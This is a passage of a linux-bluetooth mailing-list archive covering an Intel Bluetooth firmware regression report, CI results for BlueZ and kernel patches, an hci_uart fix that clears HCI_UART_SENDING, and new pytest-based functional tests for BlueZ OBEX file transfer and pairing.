* Re: [REGRESSION] Intel Corporation Device a876 (rev 10) firmware crashes since ed10eae8
From: Paul Menzel @ 2026-06-14 7:01 UTC (permalink / raw)
To: Bianca Fürstenau, Ravindra, Dmitry Baryshkov, Kiran K,
Josh Boyer
Cc: linux-firmware, linux-bluetooth, regressions, Sai Teja Aluvala,
Thorsten Leemhuis, Mario Limonciello, Pierre-Olivier Vallès
In-Reply-To: <635e5e63-dc67-4dac-8590-d613582c94c8@posteo.net>
[To: +Josh, +Kiran]
[Cc: +linux-firmware@]
Am 13.06.26 um 23:09 schrieb Bianca Fürstenau:
> Dear Dmitry,
>
> It seems that the linux-firmware commit ed10eae8 introduced a regression
> causing the firmware to fail on Intel Corporation Device a876 (rev 10).
> The next update to the firmware images in 7df47664 did not remedy this.
>
> For dmesg extracts and other details, see:
> https://bugzilla.kernel.org/show_bug.cgi?id=221637 (Upstream bug report
> where Thorsten informed us that we were sent to the wrong place)
> https://gitlab.archlinux.org/archlinux/packaging/packages/linux-firmware/-/work_items/45
> (Downstream bug report by Pierre-Olivier)
> https://github.com/NixOS/nixpkgs/issues/530344 (Downstream bug report by
> me)
>
> Please let us know if you need any further information. I’m sure both of
> us would be happier to have working Bluetooth with current firmware
> rather than at most one of these.
>
> Kind regards,
> Bianca
>
> ed10eae8: linux-firmware: Update firmware file for Intel BlazarI core
>
> https://gitlab.com/kernel-firmware/linux-firmware/-/commit/ed10eae8facb3b4bf2da7104cec95afdf0209114
> 7df47664: linux-firmware: Update firmware file for Intel BlazarI core
>
> https://gitlab.com/kernel-firmware/linux-firmware/-/commit/7df47664dd1d94111858b3224c15908517c73e73
> Merge Request for ed10eae8: https://gitlab.com/kernel-firmware/linux-firmware/-/merge_requests/955
> Merge Request for 7df47664: https://gitlab.com/kernel-firmware/linux-firmware/-/merge_requests/1018
>
> #regzbot introduced: ed10eae8facb3b4bf2da7104cec95afdf0209114
> #regzbot link: https://bugzilla.kernel.org/show_bug.cgi?id=221637
> [Bugzilla report]
> #regzbot monitor: https://lore.kernel.org/linux-bluetooth/bug-221637-62941@https.bugzilla.kernel.org%2F/
> #regzbot link: https://gitlab.archlinux.org/archlinux/packaging/packages/linux-firmware/-/work_items/45 [Arch downstream report]
> #regzbot link: https://github.com/NixOS/nixpkgs/issues/530344 [NixOS downstream report]
> #regzbot link: https://discussion.fedoraproject.org/t/bluetooth-not-working-on-fedora-cosmic-atomic-intel-core-ultra-7-kernel-7-0-8-200fc44-x86-64/191881 [Fedora downstream report]
^ permalink raw reply
* [REGRESSION] Intel Corporation Device a876 (rev 10) firmware crashes since ed10eae8
From: Bianca Fürstenau @ 2026-06-13 21:09 UTC (permalink / raw)
To: Dmitry Baryshkov
Cc: linux-bluetooth, regressions, Ravindra, Sai Teja Aluvala,
Thorsten Leemhuis, Mario Limonciello, Pierre-Olivier Vallès
Dear Dmitry,
It seems that the linux-firmware commit ed10eae8 introduced a regression
causing the firmware to fail on Intel Corporation Device a876 (rev 10).
The next update to the firmware images in 7df47664 did not remedy this.
For dmesg extracts and other details, see:
https://bugzilla.kernel.org/show_bug.cgi?id=221637 (Upstream bug report
where Thorsten informed us that we were sent to the wrong place)
https://gitlab.archlinux.org/archlinux/packaging/packages/linux-firmware/-/work_items/45
(Downstream bug report by Pierre-Olivier)
https://github.com/NixOS/nixpkgs/issues/530344 (Downstream bug report by me)
Please let us know if you need any further information. I’m sure both of
us would be happier to have working Bluetooth with current firmware
rather than at most one of these.
Kind regards,
Bianca
ed10eae8: linux-firmware: Update firmware file for Intel BlazarI core
https://gitlab.com/kernel-firmware/linux-firmware/-/commit/ed10eae8facb3b4bf2da7104cec95afdf0209114
7df47664: linux-firmware: Update firmware file for Intel BlazarI core
https://gitlab.com/kernel-firmware/linux-firmware/-/commit/7df47664dd1d94111858b3224c15908517c73e73
Merge Request for ed10eae8:
https://gitlab.com/kernel-firmware/linux-firmware/-/merge_requests/955
Merge Request for 7df47664:
https://gitlab.com/kernel-firmware/linux-firmware/-/merge_requests/1018
#regzbot introduced: ed10eae8facb3b4bf2da7104cec95afdf0209114
#regzbot link: https://bugzilla.kernel.org/show_bug.cgi?id=221637
[Bugzilla report]
#regzbot monitor:
https://lore.kernel.org/linux-bluetooth/bug-221637-62941@https.bugzilla.kernel.org%2F/
#regzbot link:
https://gitlab.archlinux.org/archlinux/packaging/packages/linux-firmware/-/work_items/45
[Arch downstream report]
#regzbot link: https://github.com/NixOS/nixpkgs/issues/530344 [NixOS
downstream report]
#regzbot link:
https://discussion.fedoraproject.org/t/bluetooth-not-working-on-fedora-cosmic-atomic-intel-core-ultra-7-kernel-7-0-8-200fc44-x86-64/191881
[Fedora downstream report]
^ permalink raw reply
* RE: [v2] Bluetooth: hci_uart: clear HCI_UART_SENDING when write_work is canceled
From: bluez.test.bot @ 2026-06-13 19:19 UTC (permalink / raw)
To: linux-bluetooth, pav
In-Reply-To: <9fdead8517c36f37c0b23b7b60f590d735792cfa.1781375875.git.pav@iki.fi>
[-- Attachment #1: Type: text/plain, Size: 988 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1111109
---Test result---
Test Summary:
CheckPatch PASS 0.62 seconds
VerifyFixes PASS 0.09 seconds
VerifySignedoff PASS 0.08 seconds
GitLint PASS 0.24 seconds
SubjectPrefix PASS 0.08 seconds
BuildKernel PASS 25.09 seconds
CheckAllWarning PASS 27.75 seconds
CheckSparse PASS 26.42 seconds
BuildKernel32 PASS 24.68 seconds
TestRunnerSetup PASS 530.62 seconds
IncrementalBuild PASS 23.82 seconds
https://github.com/bluez/bluetooth-next/pull/313
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [PATCH v2] Bluetooth: hci_uart: clear HCI_UART_SENDING when write_work is canceled
From: Pauli Virtanen @ 2026-06-13 18:43 UTC (permalink / raw)
To: linux-bluetooth
Cc: Pauli Virtanen, marcel, luiz.dentz, 25181214217, linux-kernel,
stable
In-Reply-To: <6888691461070a011d31632e6dcbfd73016dcc6e.1781364475.git.pav@iki.fi>
HCI_UART_SENDING bit in tx_state means write_work is pending and blocks
queueing it again. Currently this bit is not cleared when canceling the
work in hci_uart_close(), which blocks future writes when device is
reopened later if write_work was pending.
Fix by clearing HCI_UART_SENDING when canceling the work.
Also make clearing of tx_skb safe by using disable_work_sync +
enable_work instead of just cancel_work_sync. hci_uart_flush() purges
the proto tx queue so we can cancel the pending write_work there,
instead of doing it just in hci_uart_close(). Re-enable and possibly
requeue the work after queue flush.
Fixes: c1bb9336ae6b ("Bluetooth: hci_uart: fix UAFs and race conditions in close and init paths")
Link: https://lore.kernel.org/linux-bluetooth/07e0a28650773abec711ee492fdb1bf5d21a6c98.camel@iki.fi/
Cc: stable@vger.kernel.org
Signed-off-by: Pauli Virtanen <pav@iki.fi>
---
Notes:
v2:
- extend disable_work section to after proto->flush where the queue is
supposed to be empty
- clear HCI_UART_SENDING after enable_work() to avoid concurrent
bt_tx_wakeup() having set it
- requeue write_work in case something concurrently added more tx
drivers/bluetooth/hci_ldisc.c | 14 ++++++++++----
1 file changed, 10 insertions(+), 4 deletions(-)
diff --git a/drivers/bluetooth/hci_ldisc.c b/drivers/bluetooth/hci_ldisc.c
index 47f4902b40b4..2ad42c3bbaac 100644
--- a/drivers/bluetooth/hci_ldisc.c
+++ b/drivers/bluetooth/hci_ldisc.c
@@ -239,6 +239,8 @@ static int hci_uart_flush(struct hci_dev *hdev)
BT_DBG("hdev %p tty %p", hdev, tty);
+ disable_work_sync(&hu->write_work);
+
if (hu->tx_skb) {
kfree_skb(hu->tx_skb); hu->tx_skb = NULL;
}
@@ -254,6 +256,14 @@ static int hci_uart_flush(struct hci_dev *hdev)
percpu_up_read(&hu->proto_lock);
+ /* Resume TX. Also reschedule in case work was queued concurrently;
+ * this may schedule write_work although there's nothing to do.
+ */
+ enable_work(&hu->write_work);
+ clear_bit(HCI_UART_SENDING, &hu->tx_state);
+ if (test_bit(HCI_UART_TX_WAKEUP, &hu->tx_state))
+ hci_uart_tx_wakeup(hu);
+
return 0;
}
@@ -271,12 +281,8 @@ static int hci_uart_open(struct hci_dev *hdev)
/* Close device */
static int hci_uart_close(struct hci_dev *hdev)
{
- struct hci_uart *hu = hci_get_drvdata(hdev);
-
BT_DBG("hdev %p", hdev);
- cancel_work_sync(&hu->write_work);
-
hci_uart_flush(hdev);
hdev->flush = NULL;
return 0;
--
2.54.0
^ permalink raw reply related
* RE: Functional/integration testing
From: bluez.test.bot @ 2026-06-13 17:09 UTC (permalink / raw)
To: linux-bluetooth, pav
In-Reply-To: <476910717b76052dd8d3673b92b00bc9c628b349.1781365708.git.pav@iki.fi>
[-- Attachment #1: Type: text/plain, Size: 1990 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1111076
---Test result---
Test Summary:
CheckPatch FAIL 2.09 seconds
GitLint PASS 1.46 seconds
BuildEll PASS 21.37 seconds
BluezMake PASS 624.17 seconds
MakeCheck PASS 19.31 seconds
MakeDistcheck PASS 238.73 seconds
CheckValgrind PASS 276.72 seconds
CheckSmatch PASS 328.01 seconds
bluezmakeextell PASS 167.45 seconds
IncrementalBuild PASS 644.71 seconds
ScanBuild PASS 973.07 seconds
Details
##############################
Test: CheckPatch - FAIL
Desc: Run checkpatch.pl script
Output:
[BlueZ,v6,2/6] test: add functional/integration testing framework
ERROR:EXECUTE_PERMISSIONS: do not set execute permissions for source files
#422: FILE: test/test-functional
ERROR:EXECUTE_PERMISSIONS: do not set execute permissions for source files
#449: FILE: test/test-functional-attach
/github/workspace/src/patch/14627534.patch total: 2 errors, 0 warnings, 279 lines checked
NOTE: For some of the reported defects, checkpatch may be able to
mechanically convert to the typical style using --fix or --fix-inplace.
/github/workspace/src/patch/14627534.patch has style problems, please review.
NOTE: Ignored message types: COMMIT_MESSAGE COMPLEX_MACRO CONST_STRUCT FILE_PATH_CHANGES MISSING_SIGN_OFF PREFER_PACKED SPDX_LICENSE_TAG SPLIT_STRING SSCANF_TO_KSTRTO
NOTE: If any of the errors are false positives, please report
them to the maintainer, see CHECKPATCH in MAINTAINERS.
https://github.com/bluez/bluez/pull/2228
---
Regards,
Linux Bluetooth
^ permalink raw reply
* RE: [BlueZ] emulator: btvirt: support debug for -s socket server
From: bluez.test.bot @ 2026-06-13 17:04 UTC (permalink / raw)
To: linux-bluetooth, pav
In-Reply-To: <11cf79f1f980e5da2202f84bf66e3847048cc34d.1781363977.git.pav@iki.fi>
[-- Attachment #1: Type: text/plain, Size: 2186 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1111062
---Test result---
Test Summary:
CheckPatch FAIL 0.36 seconds
GitLint FAIL 0.22 seconds
BuildEll PASS 20.09 seconds
BluezMake PASS 678.74 seconds
CheckSmatch PASS 354.26 seconds
bluezmakeextell PASS 184.28 seconds
IncrementalBuild PASS 674.12 seconds
ScanBuild PASS 1058.31 seconds
Details
##############################
Test: CheckPatch - FAIL
Desc: Run checkpatch.pl script
Output:
[BlueZ] emulator: btvirt: support debug for -s socket server
WARNING:COMMIT_LOG_LONG_LINE: Possible unwrapped commit description (prefer a maximum 75 chars per line)
#85:
bredrle: host10: > 01 13 0c f8 00 00 00 00 00 00 00 00 00 00 00 00 ................
/github/workspace/src/patch/14627485.patch total: 0 errors, 1 warnings, 113 lines checked
NOTE: For some of the reported defects, checkpatch may be able to
mechanically convert to the typical style using --fix or --fix-inplace.
/github/workspace/src/patch/14627485.patch has style problems, please review.
NOTE: Ignored message types: COMMIT_MESSAGE COMPLEX_MACRO CONST_STRUCT FILE_PATH_CHANGES MISSING_SIGN_OFF PREFER_PACKED SPDX_LICENSE_TAG SPLIT_STRING SSCANF_TO_KSTRTO
NOTE: If any of the errors are false positives, please report
them to the maintainer, see CHECKPATCH in MAINTAINERS.
##############################
Test: GitLint - FAIL
Desc: Run gitlint
Output:
[BlueZ] emulator: btvirt: support debug for -s socket server
7: B1 Line exceeds max length (84>80): "bredrle: host10: > 01 13 0c f8 00 00 00 00 00 00 00 00 00 00 00 00 ................"
8: B1 Line exceeds max length (84>80): "bredrle: host10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................"
https://github.com/bluez/bluez/pull/2227
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [Bug 73081] Fail to setup Bluetooth on Dell Venue 11 Pro
From: bugzilla-daemon @ 2026-06-13 16:56 UTC (permalink / raw)
To: linux-bluetooth
In-Reply-To: <bug-73081-62941@https.bugzilla.kernel.org/>
https://bugzilla.kernel.org/show_bug.cgi?id=73081
--- Comment #13 from Paul Menzel (pmenzel+bugzilla.kernel.org@molgen.mpg.de) ---
Yes, as @Hytham is about the Dell Venue 8 Pro 5830/0RK4PK anyway, and this
Kernel Bugzilla issue is about the Dell Venue 11 Pro, let’s continue in the
GitHub issue.
--
You may reply to this email to add a comment.
You are receiving this mail because:
You are the assignee for the bug.
^ permalink raw reply
* Re: [PATCH BlueZ v5 00/16] Functional/integration testing
From: Pauli Virtanen @ 2026-06-13 16:34 UTC (permalink / raw)
To: Luiz Augusto von Dentz; +Cc: linux-bluetooth
In-Reply-To: <CABBYNZLBeuYHTNaBAkX_KC06rrQMMZn_Ks0sz2KQPTLpga5Lrw@mail.gmail.com>
Hi,
pe, 2026-06-12 kello 17:13 -0300, Luiz Augusto von Dentz kirjoitti:
> Hi Pauli,
>
> On Wed, May 13, 2026 at 1:35 PM Pauli Virtanen <pav@iki.fi> wrote:
> >
> > Add framework for writing tests simulating "real" environments where
> > BlueZ and other parts of the stack run on different virtual machine
> > hosts that communicate with each other.
[clip]
> >
> > 21 files changed, 1177 insertions(+), 86 deletions(-)
> > create mode 100644 doc/test-functional.rst
> > create mode 100644 test/functional/__init__.py
> > create mode 100644 test/functional/conftest.py
> > create mode 100644 test/functional/requirements.txt
> > create mode 100644 test/functional/test_agent.py
> > create mode 100644 test/functional/test_bluetoothctl_vm.py
> > create mode 100644 test/functional/test_btmgmt_vm.py
> > create mode 100644 test/functional/test_obex.py
> > create mode 100644 test/functional/test_tests.py
> > create mode 100644 test/pytest.ini
> > create mode 100755 test/test-functional
> > create mode 100755 test/test-functional-attach
> >
> > --
> > 2.54.0
>
> Do you mind resending the remaining changes? I'd like to see how it
> works; it seems you've already integrated with things like `make
> check`, right?
Sent v6.
Note it's failing on current bluetooth-next kernel due to hci_uart bug
introduced recently, needs something like this to fix it:
https://lore.kernel.org/linux-bluetooth/6888691461070a011d31632e6dcbfd73016dcc6e.1781364475.git.pav@iki.fi/
^ permalink raw reply
* RE: Bluetooth: hci_uart: clear HCI_UART_SENDING when write_work is canceled
From: bluez.test.bot @ 2026-06-13 16:25 UTC (permalink / raw)
To: linux-bluetooth, pav
In-Reply-To: <6888691461070a011d31632e6dcbfd73016dcc6e.1781364475.git.pav@iki.fi>
[-- Attachment #1: Type: text/plain, Size: 988 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1111067
---Test result---
Test Summary:
CheckPatch PASS 0.72 seconds
VerifyFixes PASS 0.13 seconds
VerifySignedoff PASS 0.13 seconds
GitLint PASS 0.32 seconds
SubjectPrefix PASS 0.12 seconds
BuildKernel PASS 25.26 seconds
CheckAllWarning PASS 27.81 seconds
CheckSparse PASS 26.40 seconds
BuildKernel32 PASS 24.70 seconds
TestRunnerSetup PASS 524.23 seconds
IncrementalBuild PASS 25.70 seconds
https://github.com/bluez/bluetooth-next/pull/312
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [bluez/bluez] 277b5b: doc: add functional/integration testing documentation
From: Pauli Virtanen @ 2026-06-13 16:14 UTC (permalink / raw)
To: linux-bluetooth
Branch: refs/heads/1111076
Home: https://github.com/bluez/bluez
Commit: 277b5b08b658b1788cc4e1e365e49cdf7b0adc54
https://github.com/bluez/bluez/commit/277b5b08b658b1788cc4e1e365e49cdf7b0adc54
Author: Pauli Virtanen <pav@iki.fi>
Date: 2026-06-13 (Sat, 13 Jun 2026)
Changed paths:
A doc/test-functional.rst
Log Message:
-----------
doc: add functional/integration testing documentation
Add documentation for functional/integration test suite.
Commit: a5f3028cbfbc8211779bf15ec8badd1d1d642bf1
https://github.com/bluez/bluez/commit/a5f3028cbfbc8211779bf15ec8badd1d1d642bf1
Author: Pauli Virtanen <pav@iki.fi>
Date: 2026-06-13 (Sat, 13 Jun 2026)
Changed paths:
A test/functional/__init__.py
A test/functional/conftest.py
A test/functional/requirements.txt
A test/functional/test_bluetoothctl_vm.py
A test/functional/test_btmgmt_vm.py
A test/pytest.ini
A test/test-functional
A test/test-functional-attach
Log Message:
-----------
test: add functional/integration testing framework
Add framework for writing tests simulating "real" environments where
BlueZ and other parts of the stack run on different virtual machine
hosts that communicate with each other.
Add some smoke tests for bluetoothctl and btmgmt.
The implementation for the VM setup is maintained separately in the
pytest-bluezenv plugin, https://pypi.org/project/pytest-bluezenv
Implements:
- RPC communication with tester instances running each of the VM hosts,
so that tests can be written on the parent host which coordinates the
execution.
- Extensible way to add stateful test-specific code inside the VM
instances
- Logging control: output from different processes running inside the VM
are separated and can be filtered.
- Test runner framework with Pytest, factored into a pytest plugin
- Grouping tests to minimize VM reboots
- Redirecting USB controllers to use for testing
There is no requirement that the tests spawn VM instances.
Commit: 5b980c4a877fdd3b6460dfd8a517e8c75b4e2bf2
https://github.com/bluez/bluez/commit/5b980c4a877fdd3b6460dfd8a517e8c75b4e2bf2
Author: Pauli Virtanen <pav@iki.fi>
Date: 2026-06-13 (Sat, 13 Jun 2026)
Changed paths:
M Makefile.am
M configure.ac
Log Message:
-----------
build: add functional testing target
This adds check-functional: target that runs the functional test suite.
Also add a --enable-functional-testing=<kernel-image> argument for
configure that can be used to include it in the check: make target,
possibly with a predefined kernel image.
Commit: e27780d7bbf553fc34810f8bf5e7e8bbdbbcfc8e
https://github.com/bluez/bluez/commit/e27780d7bbf553fc34810f8bf5e7e8bbdbbcfc8e
Author: Pauli Virtanen <pav@iki.fi>
Date: 2026-06-13 (Sat, 13 Jun 2026)
Changed paths:
A test/functional/test_tests.py
Log Message:
-----------
test: functional: impose Python code formatting
Check Python code formatting of the functional test suite.
Commit: b5e1ffdb14fa3a5bf11e57e41e1f67cf6eea1744
https://github.com/bluez/bluez/commit/b5e1ffdb14fa3a5bf11e57e41e1f67cf6eea1744
Author: Pauli Virtanen <pav@iki.fi>
Date: 2026-06-13 (Sat, 13 Jun 2026)
Changed paths:
A test/functional/test_agent.py
Log Message:
-----------
test: functional: add some Agent1 interface tests
Add test
test/functional/test_agent.py::test_agent_pair_bredr
Commit: 6b0711ccbeee668ada328d5e4eff34f086222402
https://github.com/bluez/bluez/commit/6b0711ccbeee668ada328d5e4eff34f086222402
Author: Pauli Virtanen <pav@iki.fi>
Date: 2026-06-13 (Sat, 13 Jun 2026)
Changed paths:
A test/functional/test_obex.py
Log Message:
-----------
test: functional: add basic obex file transfer tests
Add tests for Obex DBus API and obexctl
test/functional/test_obex.py::test_obex_ftp_get
test/functional/test_obex.py::test_obex_ftp_list
test/functional/test_obex.py::test_obexctl_list
Compare: https://github.com/bluez/bluez/compare/277b5b08b658%5E...6b0711ccbeee
To unsubscribe from these emails, change your notification settings at https://github.com/bluez/bluez/settings/notifications
^ permalink raw reply
* [bluez/bluez] 13b4ac: emulator: btvirt: support debug for -s socket server
From: Pauli Virtanen @ 2026-06-13 16:14 UTC (permalink / raw)
To: linux-bluetooth
Branch: refs/heads/1111062
Home: https://github.com/bluez/bluez
Commit: 13b4acfd7e2369e64d7b4e8d0f7b6c029d7768d0
https://github.com/bluez/bluez/commit/13b4acfd7e2369e64d7b4e8d0f7b6c029d7768d0
Author: Pauli Virtanen <pav@iki.fi>
Date: 2026-06-13 (Sat, 13 Jun 2026)
Changed paths:
M emulator/main.c
M emulator/server.c
M emulator/server.h
Log Message:
-----------
emulator: btvirt: support debug for -s socket server
Support btdev debug -d when using socket server -s.
$ btvirt -d -s
...
bredrle: host10: > 01 13 0c f8 00 00 00 00 00 00 00 00 00 00 00 00 ................
bredrle: host10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
To unsubscribe from these emails, change your notification settings at https://github.com/bluez/bluez/settings/notifications
^ permalink raw reply
* [PATCH BlueZ v6 6/6] test: functional: add basic obex file transfer tests
From: Pauli Virtanen @ 2026-06-13 15:48 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Pauli Virtanen
In-Reply-To: <cover.1781365708.git.pav@iki.fi>
Add tests for Obex DBus API and obexctl
test/functional/test_obex.py::test_obex_ftp_get
test/functional/test_obex.py::test_obex_ftp_list
test/functional/test_obex.py::test_obexctl_list
---
test/functional/test_obex.py | 285 +++++++++++++++++++++++++++++++++++
1 file changed, 285 insertions(+)
create mode 100644 test/functional/test_obex.py
diff --git a/test/functional/test_obex.py b/test/functional/test_obex.py
new file mode 100644
index 000000000..fcb9105e5
--- /dev/null
+++ b/test/functional/test_obex.py
@@ -0,0 +1,285 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: LGPL-2.1-or-later
+"""
+Tests for Obex
+"""
+import sys
+import os
+import re
+import pytest
+import subprocess
+import tempfile
+import time
+import logging
+import json
+import dbus
+import threading
+from pathlib import Path
+
+import pytest
+
+from pytest_bluezenv import (
+ HostPlugin,
+ Agent,
+ host_config,
+ find_exe,
+ Bluetoothd,
+ Bluetoothctl,
+ Obexd,
+ LogStream,
+ wait_until,
+ mainloop_wrap,
+ mainloop_assert,
+ Event,
+ EventPluginMixin,
+ dbus_service_event_method,
+ Pexpect,
+ utils,
+)
+
+pytestmark = [pytest.mark.vm]
+
+log = logging.getLogger(__name__)
+
+
+BUS_NAME = "org.bluez.obex"
+PATH = "/org/bluez/obex"
+AGENT_MANAGER_INTERFACE = "org.bluez.obex.AgentManager1"
+AGENT_INTERFACE = "org.bluez.obex.Agent1"
+CLIENT_INTERFACE = "org.bluez.obex.Client1"
+SESSION_INTERFACE = "org.bluez.obex.Session1"
+FILE_TRANSFER_INTERFACE = "org.bluez.obex.FileTransfer1"
+TRANSFER_INTERFACE = "org.bluez.obex.Transfer1"
+
+FTP_UUID = "00001106-0000-1000-8000-00805f9b34fb"
+
+
+class ObexAgent(HostPlugin, EventPluginMixin):
+ depends = [Bluetoothd()]
+ name = "obex_agent"
+
+ def __init__(self, path="/obexagent"):
+ self.path = path
+
+ @mainloop_wrap
+ def setup(self, impl):
+ EventPluginMixin.setup(self, impl)
+
+ self.bus = dbus.SessionBus()
+ self.bus.set_exit_on_disconnect(False)
+
+ self.agent = ObexAgentObject(self.bus, self.path, self.events)
+
+ bluez = self.bus.get_object(BUS_NAME, PATH)
+ self.manager = dbus.Interface(bluez, AGENT_MANAGER_INTERFACE)
+ self.manager.RegisterAgent(self.path)
+
+ log.info("Obex agent registered")
+
+ def cleanup(self):
+ path = Path("/run/obex")
+ for f in path.iterdir():
+ f.unlink()
+
+
+def agent_method(*a, **kw):
+ return dbus_service_event_method(AGENT_INTERFACE, *a, **kw)
+
+
+class ObexAgentObject(dbus.service.Object):
+ @mainloop_assert
+ def __init__(self, bus, path, events):
+ self.events = events
+ super().__init__(bus, path)
+
+ AuthorizePush = agent_method("AuthorizePush", ("path",), "o", "s", sync=False)
+ Cancel = agent_method("Cancel")
+
+
+def write_obex_file(name, content):
+ with open(f"/run/obex/{name}", "w") as f:
+ f.write(content)
+
+
+def read_file(name):
+ with open(name, "r") as f:
+ return f.read()
+
+
+#
+# Direct Obex Python client API tests
+#
+
+
+class ObexClient(HostPlugin, EventPluginMixin):
+ name = "obex"
+
+ @mainloop_wrap
+ def setup(self, impl):
+ EventPluginMixin.setup(self, impl)
+
+ self.transferred = 0
+ self.transfer_path = None
+ self.transfer_size = 0
+
+ self.bus = dbus.SessionBus()
+ self.bus.set_exit_on_disconnect(False)
+ self.log = logging.getLogger(self.name)
+ self.client = dbus.Interface(
+ self.bus.get_object(BUS_NAME, PATH), CLIENT_INTERFACE
+ )
+
+ self.bus.add_signal_receiver(
+ self.properties_changed,
+ dbus_interface="org.freedesktop.DBus.Properties",
+ signal_name="PropertiesChanged",
+ path_keyword="path",
+ )
+
+ @mainloop_wrap
+ def connect(self, bdaddr):
+ def reply(path):
+ obj = self.bus.get_object(BUS_NAME, path)
+ self.session = dbus.Interface(obj, SESSION_INTERFACE)
+ self.ftp = dbus.Interface(obj, FILE_TRANSFER_INTERFACE)
+
+ self._object_method(
+ self.client, "CreateSession", bdaddr, {"Target": "ftp"}, reply_handler=reply
+ )
+
+ @mainloop_assert
+ def properties_changed(self, interface, properties, invalidated, path):
+ if path != self.transfer_path:
+ return
+
+ if "Status" in properties and (
+ properties["Status"] == "complete" or properties["Status"] == "error"
+ ):
+ self.events.put(
+ Event(
+ f"{FILE_TRANSFER_INTERFACE}:{properties['Status']}",
+ properties=properties,
+ )
+ )
+ self.log.debug(f"Transfer {properties['Status']}")
+
+ if "Transferred" not in properties:
+ return
+
+ value = properties["Transferred"]
+ speed = (value - self.transferred) / 1000
+ self.log.debug(
+ f"Transfer progress {value}/{self.transfer_size} at {speed} kBps"
+ )
+ self.transferred = value
+
+ @mainloop_wrap
+ def ftp_list_folder(self):
+ return self.ftp.ListFolder()
+
+ @mainloop_wrap
+ def ftp_get_file(self, dst, src):
+ path, properties = self.ftp.GetFile(dst, src)
+ self.transfer_path = path
+ self.transfer_size = properties["Size"]
+ return properties["Filename"]
+
+
+@pytest.fixture
+def paired_hosts(hosts):
+ from .test_agent import test_agent_pair_bredr
+
+ if hosts[0].agent.has_device(hosts[1].bdaddr):
+ return hosts
+
+ test_agent_pair_bredr(hosts, True)
+ return hosts
+
+
+obex_host_config = host_config(
+ [Agent(), Obexd(), ObexClient(), Pexpect()],
+ [Agent(), Obexd(), ObexAgent()],
+ reuse=True,
+)
+
+
+@pytest.fixture
+def obex_hosts(paired_hosts):
+ host0, host1 = paired_hosts
+
+ if hasattr(host0, "session"):
+ return paired_hosts
+
+ host0.obex.connect(host1.bdaddr)
+
+ service = host1.agent.expect("org.bluez.Agent1.AuthorizeService")
+ assert service.uuid == FTP_UUID
+ host1.agent.reply()
+
+ host0.obex.expect("org.bluez.obex.Client1.CreateSession:reply")
+
+ yield paired_hosts
+
+ host1.obex_agent.cleanup()
+
+
+@obex_host_config
+def test_obex_ftp_list(obex_hosts):
+ host0, host1 = obex_hosts
+
+ host1.call(write_obex_file, "test", "1234")
+
+ (item,) = host0.obex.ftp_list_folder()
+ assert item["Type"] == "file"
+ assert item["Name"] == "test"
+ assert item["Size"] == 4
+
+
+@obex_host_config
+def test_obex_ftp_get(obex_hosts):
+ host0, host1 = obex_hosts
+
+ host1.call(write_obex_file, "test", "1234")
+
+ filename = host0.obex.ftp_get_file("", "test")
+ host0.obex.expect("org.bluez.obex.FileTransfer1:complete")
+ assert host0.call(read_file, filename) == "1234"
+
+
+#
+# obexctl tests
+#
+
+
+@pytest.fixture
+def obexctl(obex_hosts):
+ host0, host1 = obex_hosts
+
+ exe = find_exe("tools", "obexctl")
+ obexctl = host0.pexpect.spawn([exe])
+
+ obexctl.expect("Client /org/bluez/obex")
+ obexctl.send(f"connect {host1.bdaddr} {FTP_UUID}\n")
+
+ service = host1.agent.expect("org.bluez.Agent1.AuthorizeService")
+ assert service.uuid == FTP_UUID
+ host1.agent.reply()
+
+ obexctl.expect("Connection successful")
+ obexctl.send(f"select /org/bluez/obex/client/session1\n")
+
+ yield obexctl
+
+ obexctl.close()
+
+
+@obex_host_config
+def test_obexctl_list(obex_hosts, obexctl):
+ host0, host1 = obex_hosts
+
+ host1.call(write_obex_file, "test", "1234")
+
+ obexctl.send(f"ls\n")
+ obexctl.expect(f"Type: file")
+ obexctl.expect(f"Name: test")
+ obexctl.expect(f"Size: 4")
--
2.54.0
^ permalink raw reply related
* [PATCH BlueZ v6 5/6] test: functional: add some Agent1 interface tests
From: Pauli Virtanen @ 2026-06-13 15:48 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Pauli Virtanen
In-Reply-To: <cover.1781365708.git.pav@iki.fi>
Add test
test/functional/test_agent.py::test_agent_pair_bredr
---
test/functional/test_agent.py | 46 +++++++++++++++++++++++++++++++++++
1 file changed, 46 insertions(+)
create mode 100644 test/functional/test_agent.py
diff --git a/test/functional/test_agent.py b/test/functional/test_agent.py
new file mode 100644
index 000000000..24593090b
--- /dev/null
+++ b/test/functional/test_agent.py
@@ -0,0 +1,46 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for bluetoothctl using VM instances
+"""
+import sys
+import re
+import pytest
+import subprocess
+import tempfile
+
+import time
+import logging
+
+
+from pytest_bluezenv import host_config, Agent, wait_until
+
+pytestmark = [pytest.mark.vm]
+
+
+@host_config([Agent()], [Agent()])
+@pytest.mark.parametrize("success", [True, False], ids=["accept", "reject"])
+def test_agent_pair_bredr(hosts, success):
+ host0, host1 = hosts
+
+ host0.agent.adapter_method("StartDiscovery")
+ host0.agent.expect("org.bluez.Adapter1.StartDiscovery:reply")
+
+ host1.agent.adapter_set("Pairable", True)
+ host1.agent.adapter_set("Discoverable", True)
+
+ wait_until(host0.agent.has_device, host1.bdaddr)
+
